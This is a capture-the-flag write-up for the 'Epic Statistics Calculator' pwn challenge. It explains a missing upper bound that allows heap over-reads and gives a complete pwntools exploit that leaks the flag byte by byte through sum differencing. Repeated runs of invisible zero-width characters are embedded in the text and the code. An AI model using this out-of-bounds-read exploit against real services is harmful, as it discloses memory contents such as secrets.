← Back to Writeups
CUSTOMMediumpwn

pwn7 mc4 — The Epic Statistics Calculator

XESXOR9/2/20265 min read
#pwn#custom#medium#aggregate_byte_leak#cumulative_sum_differencing#heap_layout_leak#out_of_bounds_read#windows

pwn7 mc4 — The Epic Statistics Calculator

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Windows | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: aggregate_byte_leak, cumulative_sum_differencing, heap_layout_leak, out_of_bounds_read

Summary

Task: amd64 PIE/FULL RELRO/canary/NX statistics calculator; the flag is loaded into a heap chunk at startup. The 'set boundaries' option only checks start<count and end>=0 — no upper bound on end. Solution: drive an out-of-bounds heap read through Sum, then leak the flag byte-by-byte via cumulative-sum differencing past the numbers buffer into the flag chunk.

pwn7 mc4 — The Epic Statistics Calculator (spbctf)

Description

The Epic Statistics Calculator. nc 109.233.56.90 11714

A menu-driven amd64 ELF "statistics calculator". You can add numbers to a buffer, set working boundaries [start, end], and compute Sum (S), Average (A), or Product (P) over that range. The flag is read from flag.txt into heap memory at program startup. Goal: disclose it.

Analysis

Protections leave no memory-corruption surface:

  • PIE, FULL RELRO (no GOT overwrite), stack canary, NX. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

So the path is a pure logic / out-of-bounds-read information disclosure.

The bug

Option B ("set working boundaries") reads start (rbp-0x5c) and end (rbp-0x58) and validates ONLY:

  • start < count — so start may even be negative; anything < count passes.
  • end >= 0 — no upper bound at all.

The Sum / Average / Product handlers all loop:

c
for (i = start; i <= end; i++)
    acc += (unsigned char) buf[i];   // movzx, unsigned byte

With end arbitrarily large, this reads far past the small numbers heap buffer. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Heap layout (from an LD_PRELOAD malloc trace, local)

  • malloc(0) → numbers buffer (realloc keeps it in place for small counts)
  • malloc(472) → fopen stdio read buffer
  • malloc(0x40) → flag buffer (fgets of flag.txt)

Local offset numbers → flag = 0x200 (512). On the remote the layout differs (different glibc): the flag chunk landed at offset ~600 (0x258). The exploit reads a window around that offset and can also coarse-scan the heap.

Solution

Leak primitive — byte-by-byte from an aggregate

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Sum returns a single integer over buf[start..end], not raw bytes. To recover individual bytes use cumulative-sum differencing:

buf[i] = Sum(0..i) - Sum(0..i-1)    (each value masked & 0xff)

Option B requires count > 3, so first add 4 zero numbers. Zeros keep the in-range portion of every Sum(0..i) at 0, so each consecutive difference is exactly one out-of-bounds byte.

A coarse scan (Sum over 64-byte blocks, flag blocks where delta > 100) locates data-bearing regions; we then zoom in and read byte-wise, reassemble into ASCII, and search for spbctf{. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Exploit

python
#!/usr/bin/env python3
# Exploit for pwn7 mc4 "The Epic Statistics Calculator" (spbctf)
#
# Bug: option 'B' (set working boundaries) validates only `start < count` and
# `end >= 0`. There is NO upper bound on `end`, so Sum/Average/Product iterate
# buf[start..end] far past the small `numbers` heap buffer.
# The flag is read into a separate malloc(0x40) chunk located ~0x200-0x258 bytes
# after the numbers buffer (a malloc(0) chunk that realloc keeps in place).
# We read flag bytes one at a time via cumulative-Sum differencing:
#   buf[i] = Sum(0..i) - Sum(0..i-1)   (each Sum value is unsigned-byte sum)
#
# Usage: python3 exp_mc4.py [remote|local]
from pwn import *
import sys
context.log_level = 'info'
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# offset (bytes) from numbers buffer to flag chunk.
# local glibc -> 0x200; remote (109.233.56.90:11714) -> ~600 (0x258).
OFF = 600

def setup(io, nums):
    io.recvuntil(b' > ')
    for n in nums:
        io.sendline(b'a')
        io.recvuntil(b'to add: ')
        io.sendline(str(n).encode())
        io.recvuntil(b' > ')

def sum_range(io, start, end):
    io.sendline(b'B')
    io.recvuntil(b'starting position: ')
    io.sendline(str(start).encode())
    io.recvuntil(b'ending position: ')
    io.sendline(str(end).encode())
    io.recvline()
    io.sendline(b'S')
    io.recvuntil(b'Sum is: ')
    val = int(io.recvline().strip())
    io.recvuntil(b' > ')
    return val
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def read_window(io, base, length):
    prev = sum_range(io, 0, base - 1)
    out = bytearray()
    for off in range(base, base + length):
        cur = sum_range(io, 0, off)
        out.append((cur - prev) & 0xff)
        prev = cur
    return bytes(out)

def coarse_scan(io, limit=2048, step=64):
    """Find heap blocks containing data via cumulative-sum deltas."""
    prev = 0
    hot = []
    for end in range(step - 1, limit, step):
        c = sum_range(io, 0, end)
        d = c - prev
        prev = c
        if d > 100:
            hot.append(end - (step - 1))
    return hot
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def find_flag(data):
    for tag in (b'spbctf{', b'SPBCTF{'):
        i = data.find(tag)
        if i != -1:
            j = data.find(b'}', i)
            return (data[i:j + 1] if j != -1 else data[i:]).decode('latin1')
    return None

def solve(io, scan=False):
    setup(io, [0, 0, 0, 0])        # 4 zero numbers (need count>3 for B; zeros => clean diffs)
    # fast path: read a window around the known flag-chunk offset
    data = read_window(io, max(0, OFF - 32), 96)
    log.info("offset %d: %r", max(0, OFF - 32), data)
    f = find_flag(data)
    if f or not scan:
        return f
    # fallback (slow): coarse-scan the heap for data-bearing blocks
    hot = coarse_scan(io)
    log.info("hot blocks: %s", hot)
    for base in hot:
        lo = max(0, base - 64)
        data = read_window(io, lo, 192)
        log.info("offset %d: %r", lo, data)
        f = find_flag(data)
        if f:
            return f
    return None
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

if __name__ == '__main__':
    where = sys.argv[1] if len(sys.argv) > 1 else 'remote'
    io = process('./mc4.elf') if where == 'local' else remote('109.233.56.90', 11714)
    flag = solve(io)
    io.close()
    if flag:
        log.success("FLAG: %s", flag)
        print(flag)
    else:
        log.failure("flag not found in scanned windows")

Remote raw read of region 560..720 yields:

...spbctf{REDACTED}\n...

(the flag appears twice — once in the stdio read buffer, once in the flag chunk). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍